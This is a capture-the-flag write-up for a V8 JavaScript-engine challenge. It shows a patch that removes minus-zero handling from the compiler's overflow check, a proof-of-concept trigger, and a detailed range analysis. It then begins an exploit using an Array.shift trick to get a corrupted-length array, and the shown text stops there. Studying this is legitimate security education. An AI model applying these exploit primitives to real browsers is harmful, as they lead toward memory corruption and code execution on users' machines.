Babychrome Linectf
Setup
fetch v8
git reset --hard c126700cbc1f7391b8b717f7c54b4f9537355db7
Patch
diff --git a/src/compiler/simplified-lowering.cc b/src/compiler/simplified-lowering.cc
index da7d0b0fde..f91eea1693 100644
--- a/src/compiler/simplified-lowering.cc
+++ b/src/compiler/simplified-lowering.cc
@@ -186,12 +186,12 @@ bool CanOverflowSigned32(const Operator* op, Type left, Type right,
// We assume the inputs are checked Signed32 (or known statically to be
// Signed32). Technically, the inputs could also be minus zero, which we treat
// as 0 for the purpose of this function.
- if (left.Maybe(Type::MinusZero())) {
- left = Type::Union(left, type_cache->kSingletonZero, type_zone);
- }
- if (right.Maybe(Type::MinusZero())) {
- right = Type::Union(right, type_cache->kSingletonZero, type_zone);
- }
+// if (left.Maybe(Type::MinusZero())) {
+// left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+// }
+// if (right.Maybe(Type::MinusZero())) {
+// right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+// }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
if (left.IsNone() || right.IsNone()) return false;
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index fe68106a55..90f2810140 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -2417,7 +2417,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);
global_template->Set(Symbol::GetToStringTag(isolate),
String::NewFromUtf8Literal(isolate, "global"));
- global_template->Set(isolate, "version",
+/* global_template->Set(isolate, "version",
FunctionTemplate::New(isolate, Version));
global_template->Set(isolate, "print", FunctionTemplate::New(isolate, Print));
@@ -2462,7 +2462,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) {
Shell::CreateAsyncHookTemplate(isolate));
}
- return global_template;
+*/ return global_template;
}
Local<ObjectTemplate> Shell::CreateOSTemplate(Isolate* isolate) {
Commented Code
+// if (left.Maybe(Type::MinusZero())) {
+// left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+// }
+// if (right.Maybe(Type::MinusZero())) {
+// right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+// }
POC and Analysis
// incomplete
function trigger(a) {
let x = a ? 2 : -0x80000000;
let y = a ? -1 : -0;
let sub = y - x;
let ret = sub == -0x80000000;
return ret;
}
trigger(true);
for (var i = 0; i < 10000; i++) {
trigger(true);
}
console.log(trigger(false)); //returns true
In the poc, if the a
is true
:
x = 2
y = -1
sub = y - x = -1 - 2 = -3
ret = sub == -0x80000000 = -3 == -0x80000000;
ret = false
If the a
is false
:
x = -0x80000000
y = -0
sub = y - x = -0 - (-0x80000000) = 2147483648 (0x80000000 in hex)
ret = sub == -0x80000000 = 0x80000000 == -0x80000000;
ret = false
As we can see above, in both cases the trigger
function should return false. However, after the optimization the trigger(false)
returns true which is incorrect. This is because the -0
is not checked in the CanOverflowSigned32
// src/compiler/simplified-lowering.cc
bool CanOverflowSigned32(const Operator* op, Type left, Type right,
TypeCache const* type_cache, Zone* type_zone) {
// We assume the inputs are checked Signed32 (or known statically to be
// Signed32). Technically, the inputs could also be minus zero, which we treat
// as 0 for the purpose of this function.
// if (left.Maybe(Type::MinusZero())) {
// left = Type::Union(left, type_cache->kSingletonZero, type_zone);
// }
// if (right.Maybe(Type::MinusZero())) {
// right = Type::Union(right, type_cache->kSingletonZero, type_zone);
// }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
if (left.IsNone() || right.IsNone()) return false;
switch (op->opcode()) {
case IrOpcode::kSpeculativeSafeIntegerAdd:
return (left.Max() + right.Max() > kMaxInt) ||
(left.Min() + right.Min() < kMinInt);
case IrOpcode::kSpeculativeSafeIntegerSubtract:
return (left.Max() - right.Min() > kMaxInt) ||
(left.Min() - right.Max() < kMinInt);
default:
UNREACHABLE();
}
return true;
}
Before Intersect:
After Intersect:
After the intersect we can see that the range is Range(-1,-1)
and -0
is lost but, in actual it should be Range(-1, 0)
which might give incorrect information to other optimization phases. After the intersect, it’ll check either the opcode
is kSpeculativeSafeIntegerAdd
or kSpeculativeSafeIntegerSubtract
. This is to check if there’s an overflow or not.
bool CanOverflowSigned32(const Operator* op, Type left, Type right,
TypeCache const* type_cache, Zone* type_zone) {
// We assume the inputs are checked Signed32 (or known statically to be
// Signed32). Technically, the inputs could also be minus zero, which we treat
// as 0 for the purpose of this function.
// if (left.Maybe(Type::MinusZero())) {
// left = Type::Union(left, type_cache->kSingletonZero, type_zone);
// }
// if (right.Maybe(Type::MinusZero())) {
// right = Type::Union(right, type_cache->kSingletonZero, type_zone);
// }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
// [...]
case IrOpcode::kSpeculativeSafeIntegerSubtract: // [1]
return (left.Max() - right.Min() > kMaxInt) ||
(left.Min() - right.Max() < kMinInt);
// [...]
}
In our case, it’s a kSpeculativeSafeIntegerSubtract
there it’ll check if the resultant number is greater than kMaxInt
and less than kMinInt
. If either of one returns true
compiler will know it’s an overflow.
In actual, if the -0
was not lost durint intersect
:
left_min = left.Min() = -1
left_max = left.Max() = -0
right_min = right.Min() = -2147483648
right_max = right.Max() = 2
kMaxInt = 2147483647
kMinInt = -2147483648
// checking if greater than kMaxInt
(left_max - right_min) > kMaxInt
(-0 - (-2147483648)) > 2147483647
2147483648 > 2147483647
true // overflow
// checking if less than kMinInt
(left_min - right_max) < kMinInt
(-1 - 2) < -2147483648
-3 < -2147483648
false
However, because of the patch the -0
is not checked and during the intersect
, instead of -0
it returns -1
.
left_min = left.Min() = -1
left_max = left.Max() = -1
right_min = right.Min() = -2147483648
right_max = right.Max() = 2
kMaxInt = 2147483647
kMinInt = -2147483648
// checking if greater than kMaxInt
(left_max - right_min) > kMaxInt
(-1 - (-2147483648)) > 2147483647
2147483647 > 2147483647
false // overflow
// checking if less than kMinInt
(left_min - right_max) < kMinInt
(-1 - 2) < -2147483648
-3 < -2147483648
false
As a result, at VisitSpeculativeIntegerAdditiveOp
function because the CanOverflowSigned32
returned false, the op
of the node is changed to Int32Op
which is IntSub
instead of Int32OverflowOp
.
template <Phase T>
void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,
SimplifiedLowering* lowering) {
// [...]
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
right_feedback_type, type_cache_,
graph_zone())) {
ChangeToPureOp(node, Int32Op(node)); // [1]
} else {
ChangeToInt32OverflowOp(node);
}
}
return;
}
In summary, because of the patch there’s no overflow check which causes the above POC to return true
. However, the above poc is not helpful for the exploitation.
Exploit writing
Shift trick
function trigger(x) {
let max = x ? 2 : -0x80000000;
let min = x ? -1 : -0;
let sub = min - max;
sub = 0 + sub;
let idx = Math.max(-2147483647, sub);
idx = idx * -1;
idx >>= 30;
idx = Math.max(-1, idx);
let arr = Array(idx);
arr.shift();
return arr;
}
trigger(true);
for (var i = 0; i < 10000; i++) {
trigger(true);
}
g_arr = trigger(false);
console.log(g_arr.length);